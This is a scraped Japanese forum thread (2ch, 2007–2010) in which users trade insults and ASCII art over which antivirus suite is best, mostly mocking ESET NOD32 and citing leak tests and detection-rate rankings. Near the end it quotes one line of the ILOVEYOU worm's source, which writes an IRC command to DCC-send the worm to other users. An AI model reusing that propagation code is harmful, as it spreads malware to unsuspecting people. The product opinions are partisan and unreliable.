今どきFW、アンチスパイ無しのセキュリティソフトはウンコ以下
今更言うまでもないが。
NODのことですか?
違います
NODのことだろwwwwwwwwwwwwwww
AntiVirとかAvastとか
NODしかありません
/ __ \
/ ¨ ヽ \ \
,' / ヽ ヽ ヽ
l ,' l \ l }
i / | ヽ \ ヽ j |│
. ! l i 人 \ `->=z‐' } | ハノ
. | { { { / >< ` ー--- r≠\| ハノ
| l ! | ! / ` ー‐‐ k:::j | lノ( NOD厨きもいですぅ
. | \ \ \イ〃テミ ゞCl } \
| \|ヽ、 ヽl K:::::} 、 l /  ̄ヾー-、
i / __( | ¨ l C‐'´ _,-、 ノ/ ヽ ヽ
// / | l` } ヽ 〈__,. -‐/ / │ヽ }
, ' { i ! i | \ー-----ィ´ l , l }/
! ヽ| i l | | }, ===ィミヽ | / l !
| | ヽヾヽヽ/ ^フ-、 ィ´l│ヽヽ {./ l , '
ヽ | \ヽ/ // /| l j ヽ ヽ } 〉 | ノ
\、l ヽl l / ,' {
| .ヽ ヽ /\ ノヾヽ
771 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/23(月) 20:42:32
例の池沼がまたスレ潰ししてるなw
一番いいセキュリティソフトはなんだ!!Part28
http://pc11.2ch.net/test/read.cgi/sec/1184939523/ 772 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/23(月) 21:00:19
やっぱりIDが必要ですよね
罪を着せられたNODの人たちが気の毒です
773 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/23(月) 21:01:29
賛成。
違います
クソバスターに負けたけど
今どんな気持ち?
∩___∩ ∩___∩
♪ | ノ ⌒ ⌒ヽハッ __ _,, -ー ,, ハッ / ⌒ ⌒ 丶|
/ (●) (●) ハッ (/ "つ`..,: ハッ (●) (●) 丶 中華製のキラーにも負けたけれど
| ( _●_) ミ :/ :::::i:. ミ (_●_ ) | ねぇ、どんな気持ち?
___ 彡 |∪| ミ :i ─::!,, ミ、 |∪| 、彡____
ヽ___ ヽノ、`\ ヽ.....::::::::: ::::ij(_::● / ヽノ ___/
/ /ヽ < r " .r ミノ~. 〉 /\ 丶
/ /  ̄ :|::| ::::| :::i ゚。  ̄♪ \ 丶
/ / ♪ :|::| ::::| :::|: \ 丶
(_ ⌒丶... :` | ::::| :::|_: /⌒_)
| /ヽ }. :.,' ::( :::} } ヘ /
し )). ::i NOD命`.-‐" J´((
ソ トントン ソ トントン
11 :
名無しさん@お腹いっぱい。:2007/07/26(木) 14:55:04
なぜNODにはFWがついてないの?
13 :
名無しさん@お腹いっぱい。:2007/07/26(木) 14:56:35
お気に入りのFWを選べるようにしているのさ
モヤモヤしてた気持ちがスッキリしました。
15 :
名無しさん@お腹いっぱい。:2007/07/26(木) 20:34:21
>>14 AVとFWの更新料の負担
リソースの重複によるパフォーマンスの低下
コンフリクトの発生の可能性
AV機能と連携・情報交換しないことによるセキュリティの低下
さらには、IPv6対応しそうなFWが少ない
Eset Smart Securityっつーのを出すようだな
17 :
名無しさん@お腹いっぱい。:2007/07/26(木) 21:58:47
age
またバスター厨か・・・
19 :
名無しさん@お腹いっぱい。:2007/07/27(金) 11:35:54
NODはウンコ以下
糞に失敬だ、糞より下のもの…下のもの、糞以下 キヤノン
NODはうんこ以下のゴミソフト
22 :
名無しさん@お腹いっぱい。:2007/07/28(土) 14:54:18
ウィルスチェイサーとか
23 :
名無しさん@お腹いっぱい。:2007/07/28(土) 18:42:50
NODは糞以下のヘボ
ESSはリークしまくりで、使いものにならないってさ。
OSファイアウォールやアンチリークなどの機能がないから当然何だけどさ。
25 :
名無しさん@お腹いっぱい。:2007/08/05(日) 10:29:36
NODはどうしようもないな。
FW無しのものを売りつけるか、
ウンコFW搭載のものを売りつけるのどちらかしかないのか。
ESETとAgnitum(Outpost)は空気読めない
AgnitumもVista対応も後回しで、ハンガリーのウイルスバスターから
糞AVをOEM供給してもらって、スイート作っている。
ESETもAVのヒューリスティック改良などやるべきことは
沢山あるのに見送りで、糞FWを作っている始末
慣れない副業に手を出して潰れた会社なんかいくらでもあるのに。
>>26 糞FWでも一応総合セキュリティソフト作っとかないと時代遅れといわれるからでしょw
ていうかESSの開発遅すぎ、本当に技術力ないんだな。
>>26 その文章読む限りだとESETの方が重傷だな。
Agnitumは他からのOEMに対しESETは自力でFW作ってるんだし。
29 :
名無しさん@お腹いっぱい。:2007/08/14(火) 07:32:17
必要機能を省いているだけで、軽さを誇られてもな
30 :
名無しさん@お腹いっぱい。:2007/08/14(火) 23:01:17
わざわざ毎年新バージョン出さんでいいよ。
それより安定性を重視してくれ。
31 :
名無しさん@お腹いっぱい。:2007/08/21(火) 10:25:06
ESET死亡カウントダウン開始
/ __ \
/ ¨ ヽ \ \
,' / ヽ ヽ ヽ
l ,' l \ l }
i / | ヽ \ ヽ j |│
. ! l i 人 \ `->=z‐' } | ハノ
. | { { { / >< ` ー--- r≠\| ハノ
| l ! | ! / ` ー‐‐ k:::j | lノ( はまつまみがうざいですぅ
. | \ \ \イ〃テミ ゞCl } \
| \|ヽ、 ヽl K:::::} 、 l /  ̄ヾー-、
i / __( | ¨ l C‐'´ _,-、 ノ/ ヽ ヽ
// / | l` } ヽ 〈__,. -‐/ / │ヽ }
, ' { i ! i | \ー-----ィ´ l , l }/
! ヽ| i l | | }, ===ィミヽ | / l !
| | ヽヾヽヽ/ ^フ-、 ィ´l│ヽヽ {./ l , '
ヽ | \ヽ/ // /| l j ヽ ヽ } 〉 | ノ
\、l ヽl l / ,' {
| .ヽ ヽ /\ ノヾヽ
33 :
名無しさん@お腹いっぱい。:2007/12/13(木) 22:15:58
34 :
名無しさん@お腹いっぱい。:2008/02/09(土) 08:46:07
35 :
名無しさん@お腹いっぱい。:2008/02/09(土) 09:47:34
今どきFW、アンチスパイ無しのセキュリティソフトはウンコ以下
1 名前:名無しさん@お腹いっぱい。 2007/07/26(木) 13:06:22
今更言うまでもないが。
>>1 数年前ならまだしも2007年後半に
よくこんな糞スレたてられたものだな
36 :
名無しさん@お腹いっぱい。:2008/02/09(土) 10:27:17
ESET登場寸前で涙目なアンチによる最後のあがき
PCJapanがESET Smart Security(ESS)のファイアーウォールの
リークテスト結果を記事にしていたんだな。
一番いいセキュリティソフトはなんだ!!Part43
http://pc11.2ch.net/test/read.cgi/sec/1201308630/ 653:名無しさん@お腹いっぱい。:2008/02/06(水) 22:35:07
>ESSはPFWウンコなので除外
正に衝撃の結果だったよなw
654:名無しさん@お腹いっぱい。:2008/02/06(水) 23:10:22
PCJapanだったかの記事でリークテスト全部×だったっけ、ESS
655:名無しさん@お腹いっぱい。:2008/02/06(水) 23:21:20
AV部分も誇大広告なウンコ。
そして代理店もウンコ。
VISTAにNOD32を組み込むだけで十分ジャマイカ
漏えいはVISTA FWでアウトバウンドトラフィックの
全てをブロックしてから最小限開ければだいたい防げるし。
ユーザーの生の声。
一番いいセキュリティソフトはなんだ!!Part43
http://pc11.2ch.net/test/read.cgi/sec/1201308630/ 357:名無しさん@お腹いっぱい。:2008/02/01(金) 23:16:17
ゲームPCにNOD32を勧めてるのがいるけど、ゲーマーの間だとNOD32は評価低いよ。
オンライン前提だと、NOD32でよくあるネットワーク絡みの相性問題が出たりするし
誤検出でオンラインアップートをぶっ飛ばしてくれたりもする。
なのにNOD32のサポートは動かないし、ユーザーの少ないマイナーなアンチウイルスソフトだからか
ゲームのサポートもNOD32の機能を切るように勧めるぐらいしか対応してくれない……
ゲーマーにはオススメしかねる。
シグネチャーを使用せずに、オンデマンドでどれだけ未知のウイルスを検出できたか比較したテスト。
44 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2010/06/12(土) 22:18:18
http://internet.watch.impress.co.jp/docs/news/20100609_373007.html その結果、検出率が最も高かったのは、TrustPortとPandaの63%、2位はG DATAの61%、3位がKasperskyとMicrosoftの59%だった。その他の順位は以下の通り。
1位 TrustPort、Panda 63%
2位 G DATA 61%
3位 Kaspersky、Microsoft 59%
4位 Avira 53%
5位 ESET NOD32、F-Secure 52%
6位 BitDefender、K7、eScan 50%
7位 Symantec 43%
8位 McAfee 38%
9位 AVG 34%
10位 Sophos 32%
11位 Avast 29%
12位 Norman 27%
13位 Trend Micro 26%
14位 PC Tools 17%
15位 Kingsoft 11%
49 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2010/06/13(日) 11:06:12
>>44 NOD(w 得意分野のプロアクティブでも5位だね。まじウンコ。。。
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
せやな